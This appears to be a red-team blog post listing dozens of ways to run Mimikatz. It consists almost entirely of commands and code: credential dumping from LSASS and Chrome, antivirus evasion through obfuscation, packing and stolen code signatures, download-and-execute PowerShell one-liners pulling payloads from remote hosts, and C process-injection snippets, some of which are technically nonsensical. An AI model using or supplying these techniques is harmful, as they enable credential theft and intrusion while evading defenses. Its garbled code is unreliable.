64 Methods For Execute Mimikatz

redteamrecipe.com/64-methods-for-execute-mimikatzrtc0003

Reza Rashidi

go-mimikatz

```
go build
./go-mimikatz
```

github.com/vyrus001/go-mimikatz

Rusty Mimikatz

```
cargo build --release
./target/release/mimikatz-rs
```

github.com/memN0ps/mimikatz-rs

MimikatzFUD

```
.\Invoke-M1m1fud2.ps1
```

github.com/HernanRodriguez1/MimikatzFUD

pypykatz

```
pip install -r requirements.txt
python pypykatz.py
python pypykatz.py lsa minidump -d ./lsass.dmp sekurlsa::logonpasswords
python pypykatz.py wmi "SELECT * FROM Win32_Process WHERE Name='lsass.exe'"
sekurlsa::logonpasswords
```

github.com/skelsec/pypykatz

BetterSafetyKatz

```
.\BetterSafetyKatz.exe --DumpCreds
.\BetterSafetyKatz.exe --Minidump "C:\Windows\Temp\lsass.dmp" --DumpCreds
.\BetterSafetyKatz.exe --RemoteWMI -Target "192.168.1.100" -Username
"domain\username" -Password "password123" --DumpCreds
.\BetterSafetyKatz.exe --RemoteSMB -Target "192.168.1.100" -Username
"domain\username" -Password "password123" --DumpCreds
```

github.com/Flangvik/BetterSafetyKatz

CopyCat

```
.\CopyCat.exe --dump --local
.\CopyCat.exe --memory "C:\Windows\Temp\memdump.raw" --dump
.\CopyCat.exe --hibernation "C:\Windows\hiberfil.sys" --dump
.\CopyCat.exe --dump --target "192.168.1.100" --username "domain\username" --
password "password123"
```

github.com/mobdk/CopyCat

PyFuscation

```
python3 PyFuscation.py -fvp --ps ./Scripts/Invoke-Mimikatz.ps1
```

github.com/CBHue/PyFuscation

Invoke-Cats

```
Invoke-Cats -pwds
Invoke-Cats -certs
Invoke-Cats -CustomCommand
```

github.com/DanMcInerney/Invoke-Cats

WinBoost

```
 csc.exe /platform:x64 /target:exe /unsafe winboost.cs
```

github.com/mobdk/WinBoost

mimidogz

```
.\Invoke-Mimidogz.ps1
```

github.com/fir3d0g/mimidogz

CoreClass

```
"Add" > "Existing Item". Navigate to the `CoreClass` directory and select all the
`.cs` files.
Add a reference to `System.Management.Automation.dll` in your project. To do this,
right-click on your project in the solution explorer and select "Add" >
"Reference". In the "Reference Manager" window, select "Assemblies" and search for
"System.Management.Automation". Select it and click "Add".
```

github.com/mobdk/CoreClass

SharpMimikatz

```
SharpMimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit"
```

github.com/XTeam-Wing/SharpMimikatz

Invoke-Obfuscation

```
Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptPath C:\Path\To\MyScript.ps1 -Command All
```

github.com/danielbohannon/Invoke-Obfuscation

SimpleMimikatzObfuscator

```
Commands.txt
```

github.com/DimopoulosElias/SimpleMimikatzOb..

ClickOnceKatz

```
pip install pycryptodome requests
python build.py
Host the "publish" directory on a web server or file share accessible to the
target machine.
On the target machine, navigate to the URL of the ClickOnce package in a web
browser.
```

github.com/sinmygit/ClickOnceKatz

pymemimporter

```
import base64
import pymemimporter

# Load the base64-encoded module into memory
encoded_module = b'YOUR_BASE64_ENCODED_MODULE_HERE'
module_data = base64.b64decode(encoded_module)

# Import the module from memory
mem_importer = pymemimporter.PyMemImporter()
loaded_module = mem_importer.load_module('<module_name>', module_data)
base64 -w0 <module_name>.py > <module_name>.base64
python <script_name>.py
```

github.com/n1nj4sec/pymemimporter

SharpDPAPI

```
dotnet run --project .\SharpDPAPI\SharpDPAPI.csproj
dotnet run --project .\SharpDPAPI\SharpDPAPI.csproj masterkeys
dotnet run --project .\SharpDPAPI\SharpDPAPI.csproj domainbackupkeys
```

github.com/GhostPack/SharpDPAPI

Plog

```
privilege::debug

sekurlsa::Plog
```

github.com/GamehunterKaan/Plog

StegoKatz

```
.\StegoKatz.ps1 -Embed -FilePath <file_path> -ImagePath <image_path> -OutputPath
<output_path>
.\StegoKatz.ps1 -Extract -ImagePath stego_image.jpg -OutputPath
extracted_secret.txt
```

github.com/r13mann/StegoKatz

LoadMimikatzWithDinvoke.cs

```
mimi.bat
.\rundll32-hijack.ps1
```

github.com/farzinenddo/SeveralWaysToExecute..

mimikatz-bypass

```
Invoke-WebRequest https://raw.githubusercontent.com/corneacristian/mimikatz-
bypass/master/mimikatz-bypass.ps1 -OutFile mimikatz-bypass.ps1
Set-ExecutionPolicy Unrestricted
.\mimikatz-bypass.ps1
```

github.com/corneacristian/mimikatz-bypass

Utils

```
dotnet build -r win10-x64
katz.exe <MIMIKATZ_COMMAND>
```

github.com/ITh4cker/Utils

Eyeworm

```
python3 eyeworm.py -t <PAYLOAD_TYPE> -c <COMMAND> -o <OUTPUT_FILE>
python3 eyeworm.py -i <INPUT_FILE> -p <PAYLOAD_FILE> -o <OUTPUT_FILE>
```

github.com/imsellbaox/Eyeworm

drunkenkatz

```
beacon> execute-assembly /root/drunkencat.exe -i -g -k -c "python drunkenkatz.py"
```

github.com/ap3r/drunkenkatz

CallBack

```
python3 CallBack.py -i <LOCAL_IP_ADDRESS> -p <LOCAL_PORT>
```

github.com/mobdk/CallBack

mimikatz-byPass-Huorong

```
python mimikatz_byPass_Huorong.py
```

github.com/q1ya/mimikatz-byPass-Huorong

mimikatz_bypass

```
python mimikatz_bypass.py
```

github.com/wangfly-me/mimikatz_bypass

HTML-mimikatz-

```
cmd.exe mimikatz.html
```

github.com/vipserver/HTML-mimikatz-

Mimikatz.exe-in-JS

```
cmd.exe mimikatz.js
```

github.com/hardw00t/Mimikatz.exe-in-JS

-Have-You-Seen-These-Katz-

```
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1

sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1

sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1

sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-
Mimikatz.ps1

sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions
#\-/g" Invoke-Mimikatz.ps1
```

github.com/Ninja-Tw1sT/-Have-You-Seen-These..

MimiRunner

```
rundll32 *.log,#1
```

github.com/mobdk/MimiRunner

Mimikatz-PE-Injection

```
powershell -ExecutionPolicy Bypass -noLogo -Command (new-object
System.Net.WebClient).DownloadFile('https://is.gd/Dopn98','katz.cs'); && cd
c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe
/reference:System.IO.Compression.dll /out:katz.exe katz.cs && InstallUtil.exe
/logfile= /LogToConsole=false /U katz.exe && katz.exe log privilege::debug
sekurlsa::logonpasswords exit && del katz.*

*** In the above command '/out:katz.exe katz.cs' the 'katz.cs' should be the path
where initially powershell downloads the CS file ***

powershell -ExecutionPolicy Bypass -noLogo -Command (new-object
System.Net.WebClient).DownloadFile('https://gist.githubusercontent.com/analyticsea
rch/7b614f8badabe5bedf1d88056197db76/raw/13966117e4ba13be5da0c4dc44ac9ebfd61fe22a'
,'katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe
/reference:System.IO.Compression.dll /out:katz.exe \\share_ip\share_name\katz.cs
&& InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log
privilege::debug sekurlsa::logonpasswords exit && del katz.*

cd %temp% && powershell -ExecutionPolicy Bypass -noLogo -Command (new-object
System.Net.WebClient).DownloadFile('https://gist.githubusercontent.com/analyticsea
rch/7b614f8badabe5bedf1d88056197db76/raw/13966117e4ba13be5da0c4dc44ac9ebfd61fe22a'
,'katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe
/reference:System.IO.Compression.dll /out:katz.exe %temp%\\katz.cs &&
InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log
privilege::debug sekurlsa::logonpasswords exit && del katz.* && move mimikatz.log
%temp%\\katz.log && cd %temp% && del %temp%\\katz.cs
```

github.com/analyticsearch/Mimikatz-PE-Injec..

ninifox

```
.\Invoke-NiNifox.ps1
```

github.com/scottjosh/ninifox

Chexport

```
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies"
/unprotect`

`dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data For
Account" /unprotect`

`dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"
/unprotect
```

github.com/GamehunterKaan/Chexport

mimik

```
mimikatz.exe
mprotected.exe
mprotected.jpg.exe
mprotected.jpg.7z
```

github.com/MisterLobster22/mimik

my-obfuscated-mimikatz

```
eric.ps1
```

github.com/lazaars/my-obfuscated-mimikatz

Invoke-Mimikatz-W10

```
.\Invoke-Mimikatz.ps1
```

github.com/VDA-Labs/Invoke-Mimikatz-W10

MimiVader

```
python3 MimiVader.py Invoke-Mimikatz.ps1 DeceptiveFile.py
```

github.com/lawja/MimiVader

Invoke-Mimikatz

```
.\Invoke-Mimikatz
```

github.com/syn-ack-zack/Invoke-Mimikatz

Invoke-Mimikatz

```
.\invokemimikatz.ps1
```

github.com/dfirdeferred/Invoke-Mimikatz

mimikatz_bypass

```
.\XInvoke-Mimikatz.ps1
.\wi10_Invoke-Mimikatz.ps1
```

github.com/izj007/mimikatz_bypass

JS_MimiKatzDropper

```
cscript.exe dropper.js
```

github.com/leinn32/JS_MimiKatzDropper

mimicats

```
Invoke-Expression (New-Object
Net.Webclient).downloadstring('https://raw.githubusercontent.com/Moon1705/mimicats
/master/Mimicats.ps1') Invoke-Cats -Command '"privilege::debug"'
```

github.com/Moon1705/mimicats

XorPacker

```
python3 ./xorpacker.py -f mimikatz.exe -t UNMANAGED
```

github.com/tmenochet/XorPacker

PEzor

```
PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee"
"sleep 5000" "coffee" "exit"'
```

github.com/phra/PEzor

AtomPePacker

```
PePacker.exe mimikatz.exe -e
```

github.com/NUL0x4C/AtomPePacker

Nim-RunPE

```
nim c -d:args NimRunPE.nim
```

github.com/S3cur3Th1sSh1t/Nim-RunPE

Nimcrypt2

```
nim c -d:release nimcrypt2.nim
./nimcrypt2 --encrypt --keyfile=mykey.txt --inFile=plaintext.txt --
outFile=ciphertext.txt
```

github.com/icyguider/Nimcrypt2

ProtectMyTooling

```
py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe
```

github.com/mgeeky/ProtectMyTooling

xencrypt

```
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
```

github.com/the-xentropy/xencrypt

BetterXencrypt

```
Import-Module ./betterxencrypt.ps1
Invoke-BetterXencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
```

github.com/GetRektBoy724/BetterXencrypt

AES-Encoder

```
Invoke-AES-Encoder -InFile
invoke-mimikatz.ps1 -OutFile aesmimi.ps1
```

github.com/Chainski/AES-Encoder

mortar

```
./encryptor -f mimikatz.exe -o bin.enc
deliver.exe -d -c sekurlsa::logonpasswords -f bin.enc
```

github.com/0xsp-SRD/mortar

.NET-Crypter

```
Browse Executable:
Generate Encryption:
```

github.com/roast247/.NET-Crypter

Custom mods + Invoke-Obfuscation

```
sed
- e '/<#/,/#>/c\\' "$1"
sed
's/^[[: space: ]]*#.*$//g' "$1"
- e
sed
's/Invoke-Mimikatz/RainbowsAndUnicorns/g' "$1"
- e
T'T
sed
-e's/DumpCreds/MoreRainbows/g' "$1"
Invoke-Obfuscation -ScriptPath ‘./Invoke-Mimikatz.ps1’ -Command ‘Token\All\1\Out
full_power.ps1’ -Quiet
Invoke-Obfuscation -ScriptPath '.\2.IM_critical_words.ps1' -Command
‘Token\Variable\1’ -Quiet > final.ps1
IEX (New-object Net. Webclient) .Downloadstring('http:
//192.168.1.104:8000/final.ps1') ; RainbowsAndUnicorns -MoreRainbows
```

github.com/newlog/fud_mimikatz_talk

Obfuscated_Invoke-Mimikatz

```
sed -i -e 's/Invoke-Mimikatz/Invoke-LSASSscraper/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions
#\-/g" Invoke-Mimikatz.ps1
 Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery –
Force
 Import-Module .\obfuscat_Invoke-Mimikatz.ps1
 Invoke-LSASSscraper
```

github.com/VraiHack/Obfuscated_Invoke-Mimik..

mimikatz_encoded

```
certutil -decode mimikatz_encoded.bin mimikatz.exe && mimikatz.exe
"sekurlsa::logonPasswords full" exit
```

github.com/mobx26/mimikatz_encoded

Encrypted_Mimikatz

```
.\decrypt.ps1
.\mimikatz.exe "sekurlsa::logonPasswords full" exit
```

github.com/Sombody101/Encrypted_Mimikatz

SigThief

```
sigthief.py -i c: \Windows\System32\consent.exe -t mimikatz. exe -o
MSCredentialTool.exe
```

github.com/secretsquirrel/SigThief

memory+suspended

```
#include <stdio.h>
#include <windows.h>

const char* cmd = "powershell.exe -windowstyle hidden -command \"IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/gentilkiwi/mimika
tz/master/mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\"";

void obfuscate(char* str)
{
    int len = strlen(str);
    for (int i = 0; i < len; i++) {
        str[i] = str[i] ^ 0x41;
    }
}

int main()
{
    char* encoded_cmd =
"YWxpY2UgY29tbWFuZCAtIHdpbmRvd3N0eWxlIGhpZGRlbjsgLWNvbW1hbmQgIklFWCAoTmV3LU9iamVjd
CBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cHM6Ly9yYXdAZ2VudGlsa2l3aS9taW1pa2F
0ei9tZXRhZGF0YS9taW1pa2F0ei5wczEnKTsgSW52b2tlLU1pbWlrYXR6IC1EdW1wQ3JlZHMK\"";
    obfuscate(encoded_cmd);

    DWORD pid = GetCurrentProcessId();
    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (process == NULL) {
        printf("Error opening process. Error code: %lu\n", GetLastError());
        return 1;
    }

    LPVOID remote_string = VirtualAllocEx(process, NULL, strlen(encoded_cmd),
MEM_COMMIT, PAGE_READWRITE);
    if (remote_string == NULL) {
        printf("Error allocating memory. Error code: %lu\n", GetLastError());
        CloseHandle(process);
        return 1;
    }

    BOOL write_result = WriteProcessMemory(process, remote_string, encoded_cmd,
strlen(encoded_cmd), NULL);
    if (!write_result) {
        printf("Error writing to process memory. Error code: %lu\n",
GetLastError());
        CloseHandle(process);
        return 1;
    }

    HANDLE thread = CreateRemoteThread(process, NULL, 0,
(LPTHREAD_START_ROUTINE)LoadLibraryA, remote_string, 0, NULL);
    if (thread == NULL) {
        printf("Error creating remote thread. Error code: %lu\n", GetLastError());
        CloseHandle(process);
        return 1;
    }

    WaitForSingleObject(thread, INFINITE);
```

```
    VirtualFreeEx(process, remote_string, strlen(encoded_cmd), MEM_RELEASE);
    CloseHandle(process);

    return 0;
}
```

XOR'd with 0xFF

```
#include <iostream>
#include <cstring>

using namespace std;

void obfuscate(char* s) {
    for (int i = 0; s[i]; i++) {
        s[i] = s[i] ^ 0xFF;
    }
}

int main() {
    char* str = new char[20];
    strcpy(str, "password123");

    // Obfuscate the string
    obfuscate(str);

    // Print the obfuscated string
    cout << str << endl;

    // Restore the original string
    obfuscate(str);

    // Print the original string
    cout << str << endl;

    delete[] str;

    return 0;
}
```

XORing each character with the value 0xAA

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main()
{
  char str1[] = "mimikatz.exe";
  char str2[] = "powershell.exe";
  char str3[] = "cmd.exe /c mimikatz.exe";

  int len1 = strlen(str1);
  int len2 = strlen(str2);
  int len3 = strlen(str3);

  for(int i = 0; i < len1; i++) {
    str1[i] = str1[i] ^ 0xAA;
  }

  for(int i = 0; i < len2; i++) {
    str2[i] = str2[i] ^ 0xAA;
  }

  for(int i = 0; i < len3; i++) {
    str3[i] = str3[i] ^ 0xAA;
  }

  void* mem = VirtualAlloc(NULL, sizeof(str1) + sizeof(str2) + sizeof(str3),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  memcpy(mem, str1, sizeof(str1));
  memcpy((char*)mem + sizeof(str1), str2, sizeof(str2));
  memcpy((char*)mem + sizeof(str1) + sizeof(str2), str3, sizeof(str3));

  ((void(*)())mem)();

  return 0;
}
```

Decoding and storing it in memory

```
#include <iostream>
#include <windows.h>

int main()
{
    const char* encodedCmd =
"\x44\x43\x4D\x53\x63\x72\x61\x70\x00\x2D\x61\x20\x2D\x6E\x6F\x70\x62\x00\x2D\x6E\
x6F\x70\x23\x00\x2D\x6E\x6F\x70\x69\x00\x2D\x61\x20\x2D\x6E\x6F\x70\x77\x00\x2D\x7
0\x00\x2D\x65\x00\x2D\x74\x00\x2D\x72\x00\x2D\x75\x00\x2D\x6E\x00\x20\x22\x26\x28\
x2A\x2C\x2E\x30\x32\x34\x36\x38\x3A\x3C\x3E\x40\x42\x44\x46\x48\x4A\x4C\x4E\x50\x5
2\x54\x56\x58\x5A\x5C\x5E\x60\x62\x64\x66\x68\x6A\x6C\x6E\x70\x72\x74\x76\x78\x7A\
x7C\x7E\x80\x82\x84\x86\x88\x8A\x8C\x8E\x90\x92\x94\x96\x98\x9A\x9C\x9E\xA0\xA2\xA
4\xA6\xA8\xAA\xAC\xAE\xB0\xB2\xB4\xB6\xB8\xBA\xBC\xBE\xC0\xC2\xC4\xC6\xC8\xCA\xCC\
xCE\xD0\xD2\xD4\xD6\xD8\xDA\xDC\xDE\xE0\xE2\xE4\xE6\xE8\xEA\xEC\xEE\xF0\xF2\xF4\xF
6\xF8\xFA\xFC\xFE\x00\x22";

    DWORD pid;
    HWND hwnd = FindWindowA(NULL, "Window Name");
    GetWindowThreadProcessId(hwnd, &pid);

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    LPVOID allocSpace = VirtualAllocEx(hProc, NULL, strlen(encodedCmd), MEM_COMMIT
| MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hProc, allocSpace, encodedCmd, strlen(encodedCmd), NULL);

    HANDLE hThread = CreateRemoteThread(hProc, NULL, NULL,
(LPTHREAD_START_ROUTINE)allocSpace, NULL, NULL, NULL);

    CloseHandle(hThread);
    CloseHandle(hProc);

    return 0;
}
```

Inject and execute Mimikatz in memory

```
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MIMIKATZ_PATH "C:\\path\\to\\mimikatz.exe"

int main()
{
    // Load Mimikatz into memory
    HANDLE hFile = CreateFileA(MIMIKATZ_PATH, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD dwFileSize = GetFileSize(hFile, NULL);
    BYTE* pbFileData = (BYTE*)malloc(dwFileSize);
    DWORD dwBytesRead;
    ReadFile(hFile, pbFileData, dwFileSize, &dwBytesRead, NULL);
    CloseHandle(hFile);

    // Allocate memory for Mimikatz
    LPVOID lpMem = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

    // Copy Mimikatz to allocated memory
    memcpy(lpMem, pbFileData, dwFileSize);

    // Execute Mimikatz
    DWORD dwExitCode;
    DWORD dwThreadId;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, NULL, 0,
&dwThreadId);
    WaitForSingleObject(hThread, INFINITE);
    GetExitCodeThread(hThread, &dwExitCode);

    // Free allocated memory
    VirtualFree(lpMem, 0, MEM_RELEASE);

    return 0;
}
```